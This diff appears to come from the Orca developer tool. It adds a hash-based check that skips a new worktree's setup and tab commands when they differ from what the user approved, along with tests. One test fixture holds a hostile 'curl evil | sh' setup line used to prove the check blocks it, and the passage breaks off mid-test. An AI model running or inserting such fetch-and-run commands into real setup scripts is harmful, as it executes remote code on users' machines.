diff --git a/config/tsconfig.node.json b/config/tsconfig.node.json
index 711be001db2..246d8088a75 100644
--- a/config/tsconfig.node.json
+++ b/config/tsconfig.node.json
@@ -23,6 +23,8 @@
     "../src/cli/runtime/runtime-access-denied.ts",
     "../src/cli/runtime/runtime-pid-liveness.ts",
     "../src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts",
+    "../src/renderer/src/lib/orca-hook-trust.ts",
+    "../src/renderer/src/lib/sha256.ts",
     "../src/renderer/src/components/native-chat/native-chat-resolution-receipt.ts",
     "../src/renderer/src/components/native-chat/structured-agent-question-projection.ts",
     "../src/renderer/src/components/native-chat/native-chat-subagent-delegation.ts",
diff --git a/src/main/ipc/worktree-remote.ts b/src/main/ipc/worktree-remote.ts
index 73822dd2c13..d15cb00a507 100644
--- a/src/main/ipc/worktree-remote.ts
+++ b/src/main/ipc/worktree-remote.ts
@@ -14,6 +14,7 @@ import type {
   CreateWorktreeArgs,
   CreateWorktreeProgressEvent,
   CreateWorktreeResult,
+  SetupTrustMismatch,
   WorktreeCheckoutProgress,
   WorktreeCreateBaseFallback
 } from '../../shared/worktree/create-types'
@@ -62,6 +63,7 @@ import {
   getEffectiveHooksFromConfig,
   shouldRunSetupForCreate
 } from '../workspace-hooks/effective-hook-config'
+import { checkCreatedWorktreeSetupTrust } from '../workspace-hooks/created-worktree-setup-trust'
 import { isTuiAgent } from '../../shared/agent-launch/catalog/tui-agent-config'
 import { runWorktreeChangeInvalidators } from './worktrees/listing/worktree-change-invalidators'
 
@@ -1716,11 +1718,20 @@ async function performLocalWorktreeCreate(
   // Created branch hooks are authoritative; benign divergence from primary must not disable setup (#1280).
   let setup: CreateWorktreeResult['setup']
   let defaultTabs: CreateWorktreeResult['defaultTabs']
+  let setupTrustMismatch: SetupTrustMismatch | undefined
   await timing.time('prepare_setup', async () => {
     const createdYamlHooks = loadHooks(worktreePath)
     const createdEffectiveHooks = getEffectiveHooksFromConfig(repo, createdYamlHooks)
+    setupTrustMismatch = checkCreatedWorktreeSetupTrust(
+      repo,
+      createdYamlHooks,
+      args.setupDecision,
+      args.approvedSetupHash
+    )
+    // Only the approved content may run; the client re-prompts with the branch's.
+    const setupDecision = setupTrustMismatch ? 'skip' : args.setupDecision
     try {
-      defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, args.setupDecision)
+      defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, setupDecision)
     } catch (error) {
       // Unapproved target-branch tab commands may create tabs but must not execute.
       console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error)
@@ -1732,7 +1743,7 @@ async function performLocalWorktreeCreate(
     let shouldLaunchSetup = false
     if (setupScript) {
       try {
-        shouldLaunchSetup = shouldRunSetupForCreate(repo, args.setupDecision)
+        shouldLaunchSetup = shouldRunSetupForCreate(repo, setupDecision)
       } catch (error) {
         // Target branch can add unseen hooks; skip unapproved setup without failing the existing workspace.
         console.warn(`[hooks] setup hook skipped for ${worktreePath}:`, error)
@@ -1824,6 +1835,7 @@ async function performLocalWorktreeCreate(
       : {}),
     ...(stagedStartup.startupTerminal ? { startupTerminal: stagedStartup.startupTerminal } : {}),
     ...(baseFallback ? { baseFallback } : {}),
+    ...(setupTrustMismatch ? { setupTrustMismatch } : {}),
     ...(createWarning ? { warning: createWarning } : {}),
     timing: timing.finish()
   }
diff --git a/src/main/runtime/repositories/runtime-repository-hooks-commands.ts b/src/main/runtime/repositories/runtime-repository-hooks-commands.ts
index 62eface05a5..fd36b658d24 100644
--- a/src/main/runtime/repositories/runtime-repository-hooks-commands.ts
+++ b/src/main/runtime/repositories/runtime-repository-hooks-commands.ts
@@ -1,5 +1,4 @@
 import { getRepoDialableSshTargetId } from '../../../shared/execution-host'
-import { createHash } from 'node:crypto'
 import { windowsFsPath } from '../../wsl/filesystem/wsl-unc-drive-fs-path'
 import { readFile } from 'node:fs/promises'
 import type { Repo } from '../../../shared/repo-types'
@@ -18,6 +17,7 @@ import { isFolderRepo } from '../../../shared/repo-kind'
 import { inspectSetupScriptImportCandidates } from '../../../shared/workspace-setup/setup-script-imports'
 import { joinWorktreeRelativePath } from '../files/paths/runtime-relative-paths'
 import { blockedWslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate'
+import { hashOrcaHookTrustContent } from '../../workspace-hooks/created-worktree-setup-trust'
 
 type RuntimeRepositoryHooksCommandsDeps = {
   resolveRepo: (selector: string) => Promise<Repo>
@@ -116,7 +116,7 @@ export class RuntimeRepositoryHooksCommands {
 }
 
 function hookTrust(scriptContent: string): { contentHash: string; scriptContent: string } {
-  return { contentHash: createHash('sha256').update(scriptContent).digest('hex'), scriptContent }
+  return { contentHash: hashOrcaHookTrustContent(scriptContent), scriptContent }
 }
 
 function archiveTrust(
diff --git a/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts b/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts
index ce5dbebe671..e9855ee62c0 100644
--- a/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts
+++ b/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts
@@ -93,6 +93,9 @@ export function buildManagedWorktreeCreateArgs(
       defaultTarget: 'host'
     }),
     setupDecision: params.setupDecision,
+    ...(params.approvedSetupHash !== undefined
+      ? { approvedSetupHash: params.approvedSetupHash }
+      : {}),
     ...(params.setupOnly !== undefined ? { setupOnly: params.setupOnly } : {}),
     createdWithAgent: params.createdWithAgent ?? params.startupAgent,
     ...provenance,
diff --git a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts
new file mode 100644
index 00000000000..c2d1107067d
--- /dev/null
+++ b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts
@@ -0,0 +1,88 @@
+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { createHash } from 'node:crypto'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { Repo } from '../../../../shared/repo-types'
+import { getDefaultSettings } from '../../../../shared/constants'
+import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup'
+
+const runner = vi.hoisted(() => ({ createSetupRunnerScript: vi.fn() }))
+vi.mock('../../../workspace-hooks/worktree-runner-script', () => ({
+  createSetupRunnerScript: runner.createSetupRunnerScript,
+  resolveSetupRunnerShell: () => undefined
+}))
+
+const PRIMARY_YAML = 'scripts:\n  setup: pnpm install\n'
+const PRIMARY_TRUST_CONTENT = 'pnpm install'
+const sha256 = (text: string): string => createHash('sha256').update(text).digest('hex')
+
+let worktreePath: string
+const repo: Repo = { id: 'repo', path: '/primary', displayName: 'r', badgeColor: '', addedAt: 0 }
+
+function prepare(approvedSetupHash?: string) {
+  return prepareRuntimeLocalWorktreeSetup({
+    request: {
+      repoSelector: 'id:repo',
+      name: 'w',
+      setupDecision: 'run',
+      ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {})
+    },
+    repo,
+    worktreePath,
+    settings: getDefaultSettings(tmpdir()),
+    runtimeTarget: undefined,
+    shouldUseSetupRunner: true
+  })
+}
+
+beforeEach(() => {
+  worktreePath = mkdtempSync(join(tmpdir(), 'orca-setup-trust-'))
+  runner.createSetupRunnerScript.mockReset().mockResolvedValue({
+    runnerScriptPath: join(worktreePath, 'runner.sh'),
+    envVars: {}
+  })
+})
+
+afterEach(() => {
+  rmSync(worktreePath, { recursive: true, force: true })
+})
+
+describe('created worktree setup trust', () => {
+  it('runs setup when the created branch matches the approved content', async () => {
+    writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML)
+    const result = await prepare(sha256(PRIMARY_TRUST_CONTENT))
+    expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce()
+    expect(result.setup).toBeDefined()
+    expect(result.setupTrustMismatch).toBeUndefined()
+  })
+
+  it('skips setup and default tab commands and reports the branch content when it differs', async () => {
+    writeFileSync(
+      join(worktreePath, 'orca.yaml'),
+      'scripts:\n  setup: curl evil | sh\ndefaultTabs:\n  - title: dev\n    command: pnpm dev\n'
+    )
+    const result = await prepare(sha256(PRIMARY_TRUST_CONTENT))
+    expect(runner.createSetupRunnerScript).not.toHaveBeenCalled()
+    expect(result.setup).toBeUndefined()
+    expect(result.defaultTabs?.runCommands).toBe(false)
+    expect(result.shouldRunSetup).toBe(false)
+    expect(result.warning).toBeUndefined()
+    const scriptContent = 'curl evil | sh\n\n# defaultTabs[1] dev\npnpm dev'
+    expect(result.setupTrustMismatch).toEqual({ contentHash: sha256(scriptContent), scriptContent })
+  })
+
+  it('skips setup a branch adds when the primary checkout had none', async () => {
+    writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML)
+    const result = await prepare(sha256(''))
+    expect(runner.createSetupRunnerScript).not.toHaveBeenCalled()
+    expect(result.setupTrustMismatch?.scriptContent).toBe(PRIMARY_TRUST_CONTENT)
+  })
+
+  it('runs the created branch setup as before when an older client sends no approval', async () => {
+    writeFileSync(join(worktreePath, 'orca.yaml'), 'scripts:\n  setup: make bootstrap\n')
+    const result = await prepare()
+    expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce()
+    expect(result.setupTrustMismatch).toBeUndefined()
+  })
+})
diff --git a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts
index 251eb79ea77..5512a900969 100644
--- a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts
+++ b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts
@@ -1,4 +1,8 @@
-import type { CreateWorktreeResult, SetupDecision } from '../../../../shared/worktree/create-types'
+import type {
+  CreateWorktreeResult,
+  SetupDecision,
+  SetupTrustMismatch
+} from '../../../../shared/worktree/create-types'
 import type { Repo } from '../../../../shared/repo-types'
 import { getEffectiveHooks, loadHooks, runHook } from '../../../workspace-hooks/hooks'
 import {
@@ -9,6 +13,7 @@ import {
   getDefaultTabsLaunch,
   shouldRunSetupForCreate
 } from '../../../workspace-hooks/effective-hook-config'
+import { checkCreatedWorktreeSetupTrust } from '../../../workspace-hooks/created-worktree-setup-trust'
 import type { RuntimeManagedWorktreeCreateArgs } from './runtime-managed-worktree-create-types'
 import type { RuntimeStore } from '../../runtime-store-contract'
 
@@ -32,6 +37,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
   defaultTabs?: CreateWorktreeResult['defaultTabs']
   warning?: string
   effectiveDecision: SetupDecision
+  setupTrustMismatch?: SetupTrustMismatch
   hookFound: boolean
   shouldRunSetup: boolean
   didStartInProcessSetupHook: boolean
@@ -42,9 +48,17 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
   const yamlHooks = loadHooks(worktreePath)
   const hooks = getEffectiveHooks(repo, worktreePath)
   const effectiveDecision = resolveRuntimeSetupDecision(request)
+  const setupTrustMismatch = checkCreatedWorktreeSetupTrust(
+    repo,
+    yamlHooks,
+    effectiveDecision,
+    request.approvedSetupHash
+  )
+  // Only the approved content may run; the client re-prompts with the branch's.
+  const runDecision = setupTrustMismatch ? 'skip' : effectiveDecision
   let defaultTabs: CreateWorktreeResult['defaultTabs']
   try {
-    defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, effectiveDecision)
+    defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, runDecision)
   } catch (error) {
     console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error)
     defaultTabs = yamlHooks?.defaultTabs
@@ -54,7 +68,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
   let shouldRunSetup = false
   if (hooks?.scripts.setup) {
     try {
-      shouldRunSetup = shouldRunSetupForCreate(repo, effectiveDecision)
+      shouldRunSetup = shouldRunSetupForCreate(repo, runDecision)
     } catch {
       // A new branch may introduce an unapproved hook; worktree already exists, so skip/warn below rather than fail the create.
     }
@@ -82,7 +96,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
         }
       })
     }
-  } else if (hooks?.scripts.setup && effectiveDecision !== 'skip') {
+  } else if (hooks?.scripts.setup && runDecision !== 'skip') {
     const skipped = `orca.yaml setup hook skipped for ${worktreePath}; pass --setup run to run it.`
     warning = warning ? `${warning} Also ${skipped}` : skipped
     console.warn(`[hooks] ${skipped}`)
@@ -92,8 +106,31 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
     ...(defaultTabs ? { defaultTabs } : {}),
     ...(warning ? { warning } : {}),
     effectiveDecision,
+    ...(setupTrustMismatch ? { setupTrustMismatch } : {}),
     hookFound: Boolean(hooks?.scripts.setup),
     shouldRunSetup,
     didStartInProcessSetupHook
   }
 }
+
+export function buildRuntimeSetupReceipt(
+  prepared: Awaited<ReturnType<typeof prepareRuntimeLocalWorktreeSetup>>,
+  didSpawnSetup: boolean,
+  terminalHandle: string | null | undefined
+): NonNullable<CreateWorktreeResult['setupReceipt']> {
+  const { effectiveDecision, hookFound, shouldRunSetup, setup } = prepared
+  return {
+    requested: effectiveDecision,
+    hookFound,
+    startupPolicy: setup?.waitForAgentStartup ? 'wait-for-setup' : 'start-immediately',
+    state: !hookFound
+      ? 'not_configured'
+      : effectiveDecision === 'skip' || !shouldRunSetup
+        ? 'skipped'
+        : // The in-process setup hook already started; spawn_failed would strand retrying callers.
+          didSpawnSetup || prepared.didStartInProcessSetupHook
+          ? 'running'
+          : 'spawn_failed',
+    ...(terminalHandle ? { terminalHandle } : {})
+  }
+}
diff --git a/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts b/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts
index ff3cf4d7d1e..59ed9a07bd1 100644
--- a/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts
+++ b/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts
@@ -60,6 +60,8 @@ export type RuntimeManagedWorktreeCreateArgs = {
   runHooks?: boolean
   activate?: boolean
   setupDecision?: 'run' | 'skip' | 'inherit'
+  /** SHA-256 of the setup content the client approved; see CreateWorktreeArgs. */
+  approvedSetupHash?: string
   setupOnly?: boolean
   awaitTerminalProvisioning?: boolean
   observeSetupCompletion?: boolean
diff --git a/src/main/runtime/workspaces/creation/workspace-creation.ts b/src/main/runtime/workspaces/creation/workspace-creation.ts
index 97f11c08f22..830e6234036 100644
--- a/src/main/runtime/workspaces/creation/workspace-creation.ts
+++ b/src/main/runtime/workspaces/creation/workspace-creation.ts
@@ -12,7 +12,10 @@ import { SshHostNotServedError } from '../../../providers/ssh-host-not-served-er
 import { createRuntimeFolderWorktree } from './runtime-folder-worktree-create'
 import { createRuntimeLocalManagedWorktree } from './runtime-local-worktree-create'
 import type { PreparationRearmHolder } from '../../../workspaces/creation/preparation/worktree-create-preparation'
-import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup'
+import {
+  buildRuntimeSetupReceipt,
+  prepareRuntimeLocalWorktreeSetup
+} from './runtime-local-worktree-setup'
 import { invalidateAuthorizedRootsCacheForRepo } from '../../../ipc/worktrees/removal/registered-worktree-roots-scoped-invalidation'
 import { startRuntimeLocalWorktreeTerminals } from '../startup/runtime-local-worktree-terminal-startup'
 import { trackRuntimeWorkspaceCreate } from '../../../workspaces/creation/workspace-create-telemetry'
@@ -187,15 +190,7 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
       localCreate
     const { lineage, workspaceLineage } = metadataResult
 
-    let {
-      setup,
-      defaultTabs,
-      warning,
-      effectiveDecision,
-      hookFound,
-      shouldRunSetup,
-      didStartInProcessSetupHook
-    } = await prepareRuntimeLocalWorktreeSetup({
+    const preparedSetup = await prepareRuntimeLocalWorktreeSetup({
       request: args,
       repo,
       worktreePath,
@@ -208,6 +203,8 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
       warning:
         [includeCopyWarning, addResult.upstreamWarning].filter(Boolean).join(' ') || undefined
     })
+    const { setup, defaultTabs, setupTrustMismatch } = preparedSetup
+    let { warning } = preparedSetup
 
     this.invalidateResolvedWorktreeCache()
     this.invalidateWorktreeScanCacheForRepo(repo.id)
@@ -271,25 +268,15 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
       ...(returnedSetup ? { setup: returnedSetup } : {}),
       ...(args.awaitTerminalProvisioning
         ? {
-            setupReceipt: {
-              requested: effectiveDecision,
-              hookFound,
-              startupPolicy: setup?.waitForAgentStartup
-                ? ('wait-for-setup' as const)
-                : ('start-immediately' as const),
-              state: !hookFound
-                ? ('not_configured' as const)
-                : effectiveDecision === 'skip' || !shouldRunSetup
-                  ? ('skipped' as const)
-                  : // The in-process setup hook already started; spawn_failed would strand retrying callers.
-                    didSpawnSetup || didStartInProcessSetupHook
-                    ? ('running' as const)
-                    : ('spawn_failed' as const),
-              ...(setupTerminalHandle ? { terminalHandle: setupTerminalHandle } : {})
-            }
+            setupReceipt: buildRuntimeSetupReceipt(
+              preparedSetup,
+              didSpawnSetup,
+              setupTerminalHandle
+            )
           }
         : {}),
       ...(defaultTabs ? { defaultTabs } : {}),
+      ...(setupTrustMismatch ? { setupTrustMismatch } : {}),
       ...(warning ? { warning } : {}),
       ...(localCreate.baseFallback ? { baseFallback: localCreate.baseFallback } : {}),
       ...(addResult.localBaseRefRefresh
diff --git a/src/main/workspace-hooks/created-worktree-setup-trust-parity.test.ts b/src/main/workspace-hooks/created-worktree-setup-trust-parity.test.ts
new file mode 100644
index 00000000000..2f2fd6fdf6a
--- /dev/null
+++ b/src/main/workspace-hooks/created-worktree-setup-trust-parity.test.ts
@@ -0,0 +1,202 @@
+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { Repo } from '../../shared/repo-types'
+import { getSetupTrustContent } from '../../shared/orca-hook-setup-config'
+import { hashOrcaHookScript } from '../../renderer/src/lib/orca-hook-trust'
+import { RuntimeRepositoryHooksCommands } from '../runtime/repositories/runtime-repository-hooks-commands'
+import { loadHooks } from './hooks'
+import {
+  checkCreatedWorktreeSetupTrust,
+  hashOrcaHookTrustContent
+} from './created-worktree-setup-trust'
+
+// The prompt hashes the primary checkout's orca.yaml; the host hashes the created worktree's.
+// Same committed file => same hash, whatever the checkout did to line endings or a BOM.
+const SETUP_YAML = [
+  'base: &base',
+  '  title: Dev server',
+  'scripts:',
+  '  setup: |',
+  '    pnpm install   ',
+  '    \techo "tabbed"',
+  '',
+  '    echo "ünïcødé ✓"',
+  'defaultTabs:',
+  '  - <<: *base',
+  '    command: >',
+  '      pnpm dev',
+  '      --port 3000',
+  '  - title: Notes',
+  '  - command: "printf \'%s\\n\' quoted"',
+  'issueCommand: gh issue view',
+  'scripts_unrelated: ignored',
+  ''
+].join('\n')
+
+const dirs: string[] = []
+function checkout(content: string): string {
+  const dir = mkdtempSync(join(tmpdir(), 'orca-setup-parity-'))
+  dirs.push(dir)
+  writeFileSync(join(dir, 'orca.yaml'), content)
+  return dir
+}
+
+const repo = (overrides: Partial<Repo> = {}): Repo => ({
+  id: 'repo',
+  path: '/primary',
+  displayName: 'repo',
+  badgeColor: '',
+  addedAt: 0,
+  ...overrides
+})
+
+/** What the trust prompt approves: the renderer's hash of the primary checkout's content. */
+async function promptHash(primaryPath: string): Promise<string> {
+  return hashOrcaHookScript(getSetupTrustContent(loadHooks(primaryPath)))
+}
+
+beforeEach(() => {
+  dirs.length = 0
+})
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+  for (const dir of dirs) {
+    rmSync(dir, { recursive: true, force: true })
+  }
+})
+
+describe('approved setup hash parity between the trust prompt and the host', () => {
+  const variants: [string, (yaml: string) => string][] = [
+    ['identical LF files', (yaml) => yaml],
+    ['a CRLF primary checkout (Windows autocrlf)', (yaml) => yaml.replace(/\n/g, '\r\n')],
+    ['a primary checkout saved with a UTF-8 BOM', (yaml) => `${yaml}`],
+    ['a primary checkout with trailing blank lines', (yaml) => `${yaml}\n\n\n`]
+  ]
+
+  it.each(variants)('treats %s as the approved content', async (_label, toPrimary) => {
+    const primary = checkout(toPrimary(SETUP_YAML))
+    const created = checkout(SETUP_YAML)
+    const approved = await promptHash(primary)
+
+    expect(checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', approved)).toBe(
+      undefined
+    )
+  })
+
+  it('agrees with the pure-JS digest the plain-HTTP web client uses', async () => {
+    const primary = checkout(SETUP_YAML)
+    const subtleHash = await promptHash(primary)
+    vi.stubGlobal('crypto', undefined)
+    const fallbackHash = await promptHash(primary)
+
+    expect(fallbackHash).toBe(subtleHash)
+    expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(primary)))).toBe(subtleHash)
+  })
+
+  it('agrees with the hash a runtime host reports to remote and mobile clients', async () => {
+    const primary = checkout(SETUP_YAML)
+    const created = checkout(SETUP_YAML.replace(/\n/g, '\r\n'))
+    const hooks = await new RuntimeRepositoryHooksCommands({
+      resolveRepo: async () => repo({ path: primary })
+    }).getRepoHooks('id:repo')
+
+    expect(hooks.setupTrust?.contentHash).toBe(await promptHash(primary))
+    expect(
+      checkCreatedWorktreeSetupTrust(
+        repo(),
+        loadHooks(created),
+        'run',
+        hooks.setupTrust?.contentHash
+      )
+    ).toBe(undefined)
+  })
+
+  it('ignores orca.yaml keys that are not setup or default tab commands', async () => {
+    const primary = checkout(SETUP_YAML)
+    const created = checkout(
+      SETUP_YAML.replace('issueCommand: gh issue view', 'issueCommand: gh issue view --web')
+        .replace('  - title: Notes', '  - title: Scratch')
+        .concat('scripts_extra: also ignored\n')
+    )
+
+    expect(
+      checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary))
+    ).toBe(undefined)
+  })
+
+  it('pins the digest so a format change, which would invalidate saved automation approvals, is deliberate', () => {
+    expect(getSetupTrustContent(loadHooks(checkout(SETUP_YAML)))).toBe(
+      [
+        'pnpm install   \n\techo "tabbed"\n\necho "ünïcødé ✓"',
+        '# defaultTabs[1] Dev server\npnpm dev --port 3000',
+        // The double-quoted "\n" escape is a real newline in YAML, on both sides.
+        "# defaultTabs[3]\nprintf '%s\n' quoted"
+      ].join('\n\n')
+    )
+    expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(checkout(SETUP_YAML))))).toBe(
+      PINNED_SETUP_HASH
+    )
+  })
+
+  it.each([
+    [
+      'a changed setup line',
+      (yaml: string) => yaml.replace('pnpm install', 'pnpm install && curl x')
+    ],
+    ['a changed default tab command', (yaml: string) => yaml.replace('--port 3000', '--port 4000')],
+    [
+      'an added default tab command',
+      (yaml: string) =>
+        yaml.replace('  - title: Notes', '  - title: Notes\n    command: make serve')
+    ]
+  ])('still reports %s as a mismatch', async (_label, change) => {
+    const primary = checkout(SETUP_YAML)
+    const created = checkout(change(SETUP_YAML))
+
+    expect(
+      checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary))
+    ).toMatchObject({ scriptContent: expect.any(String) })
+  })
+
+  it('checks only the shared commands under run-both, as the prompt does', async () => {
+    const primary = checkout(SETUP_YAML)
+    const created = checkout(SETUP_YAML)
+    const runBoth = repo({
+      hookSettings: {
+        mode: 'auto',
+        commandSourcePolicy: 'run-both',
+        scripts: { setup: 'echo my own local step', archive: '' }
+      }
+    })
+
+    expect(
+      checkCreatedWorktreeSetupTrust(runBoth, loadHooks(created), 'run', await promptHash(primary))
+    ).toBe(undefined)
+  })
+
+  it('never reports a mismatch under the local-only policy, where shared setup does not run', async () => {
+    const created = checkout(SETUP_YAML)
+    const localOnly = repo({
+      hookSettings: {
+        mode: 'auto',
+        commandSourcePolicy: 'local-only',
+        scripts: { setup: 'echo mine', archive: '' }
+      }
+    })
+
+    expect(
+      checkCreatedWorktreeSetupTrust(localOnly, loadHooks(created), 'run', 'not-the-hash')
+    ).toBe(undefined)
+  })
+
+  it('leaves creates without an approval hash (older clients, CLI, stored decisions) unchanged', () => {
+    expect(
+      checkCreatedWorktreeSetupTrust(repo(), loadHooks(checkout(SETUP_YAML)), 'run', undefined)
+    ).toBe(undefined)
+  })
+})
+
+const PINNED_SETUP_HASH = '112aac76dbc70758498c2b87a2dc42e77f7ce366a5b611749ec38b6757681593'
diff --git a/src/main/workspace-hooks/created-worktree-setup-trust.ts b/src/main/workspace-hooks/created-worktree-setup-trust.ts
new file mode 100644
index 00000000000..40b44dd8a68
--- /dev/null
+++ b/src/main/workspace-hooks/created-worktree-setup-trust.ts
@@ -0,0 +1,44 @@
+import { createHash } from 'node:crypto'
+import { resolveHookCommandSourcePolicy } from '../../shared/hook-command-source-policy'
+import { getSetupTrustContent } from '../../shared/orca-hook-setup-config'
+import type { OrcaHooks } from '../../shared/orca-yaml-hook-types'
+import type { Repo } from '../../shared/repo-types'
+import type { SetupDecision, SetupTrustMismatch } from '../../shared/worktree/create-types'
+import { shouldRunSetupForCreate } from './effective-hook-config'
+
+/** Same digest as the renderer's hashOrcaHookScript, so host and prompt hashes compare. */
+export function hashOrcaHookTrustContent(content: string): string {
+  return createHash('sha256').update(content.trim()).digest('hex')
+}
+
+/**
+ * Compare the created worktree's shared setup commands with what the client approved.
+ * Undefined means run as decided: no approval was sent (older client), nothing shared would run, or it matches.
+ */
+export function checkCreatedWorktreeSetupTrust(
+  repo: Repo,
+  createdYamlHooks: OrcaHooks | null,
+  decision: SetupDecision | undefined,
+  approvedSetupHash: string | undefined
+): SetupTrustMismatch | undefined {
+  if (approvedSetupHash === undefined) {
+    return undefined
+  }
+  const policy = resolveHookCommandSourcePolicy(repo.hookSettings?.commandSourcePolicy, {
+    hasLocalScript: Boolean(repo.hookSettings?.scripts.setup?.trim())
+  })
+  const scriptContent = getSetupTrustContent(createdYamlHooks)
+  if (policy === 'local-only' || !scriptContent || !wouldRunSetup(repo, decision)) {
+    return undefined
+  }
+  const contentHash = hashOrcaHookTrustContent(scriptContent)
+  return contentHash === approvedSetupHash ? undefined : { contentHash, scriptContent }
+}
+
+function wouldRunSetup(repo: Repo, decision: SetupDecision | undefined): boolean {
+  try {
+    return shouldRunSetupForCreate(repo, decision)
+  } catch {
+    return false
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts b/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts
index 6242b0723ae..a3041841e11 100644
--- a/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts
+++ b/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts
@@ -65,7 +65,10 @@ vi.mock('@/lib/workspace/creation/setup/workspace-setup-preparation', async (imp
   ...(await importOriginal<Record<string, unknown>>()),
   inspectRequiredWorkspaceSetup: async () => ({ kind: 'decided', decision: 'inherit' })
 }))
-vi.mock('@/lib/ensure-hooks-confirmed', () => ({ ensureHooksConfirmed: async () => 'run' }))
+vi.mock('@/lib/ensure-hooks-confirmed', () => ({
+  ensureHooksConfirmed: async () => 'run',
+  ensureHooksApproved: async () => ({ decision: 'run' })
+}))
 vi.mock('@/lib/windows-terminal-capabilities', async (importOriginal) => ({
   ...(await importOriginal<Record<string, unknown>>()),
   hasCachedWindowsTerminalCapabilities: () => true,
diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json
index 4cb8b19ebe0..f20aca8f50b 100644
--- a/src/renderer/src/i18n/locales/en.json
+++ b/src/renderer/src/i18n/locales/en.json
@@ -22432,6 +22432,9 @@
     "alwaysForceDeleteBranchesTooltip": "Applies to branches kept after future workspace deletions."
   },
   "worktree": {
+    "setupTrust": {
+      "createdBranchSkipped": "Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved."
+    },
     "nestedRemoval": {
       "refreshFailed": "Could not refresh the workspace list",
       "review": "Delete with nested worktrees…",
diff --git a/src/renderer/src/lib/ensure-hooks-confirmed.test.ts b/src/renderer/src/lib/ensure-hooks-confirmed.test.ts
index 73e9023da4d..8e32ff66e67 100644
--- a/src/renderer/src/lib/ensure-hooks-confirmed.test.ts
+++ b/src/renderer/src/lib/ensure-hooks-confirmed.test.ts
@@ -3,10 +3,13 @@ import type { AppState } from '@/store/types'
 import type { PersistedTrustedOrcaHooks } from '../../../shared/orca-yaml-hook-types'
 import {
   __resetTrustPromptChainForTests,
+  confirmCreatedWorktreeSetupContent,
+  ensureHooksApproved,
   ensureHooksConfirmed,
   readAndConfirmRuntimeIssueCommand
 } from './ensure-hooks-confirmed'
 import { hashOrcaHookScript } from './orca-hook-trust'
+import { createHash } from 'node:crypto'
 import {
   createCompatibleRuntimeStatusResponseIfNeeded,
   type RuntimeEnvironmentCallRequest
@@ -465,4 +468,54 @@ describe('ensureHooksConfirmed', () => {
     expect(decision).toBe('skip')
     expect(pending).toHaveLength(0)
   })
+
+  it('returns the approved setup hash the host recomputes with node crypto', async () => {
+    const { state, pending } = createTestState()
+    hooksCheckMock.mockResolvedValue({
+      hasHooks: true,
+      hooks: { scripts: { setup: 'pnpm install' } },
+      mayNeedUpdate: false
+    })
+
+    const promise = ensureHooksApproved(state, 'repo-1', 'setup')
+    await vi.waitFor(() => expect(pending).toHaveLength(1))
+    pending[0].resolve('run')
+
+    await expect(promise).resolves.toEqual({
+      decision: 'run',
+      approvedContentHash: createHash('sha256').update('pnpm install').digest('hex')
+    })
+  })
+
+  it('approves the empty setup content without prompting so a branch cannot add unseen scripts', async () => {
+    const { state, pending } = createTestState()
+    hooksCheckMock.mockResolvedValue({ hasHooks: false, hooks: null, mayNeedUpdate: false })
+
+    await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({
+      decision: 'run',
+      approvedContentHash: await hashOrcaHookScript('')
+    })
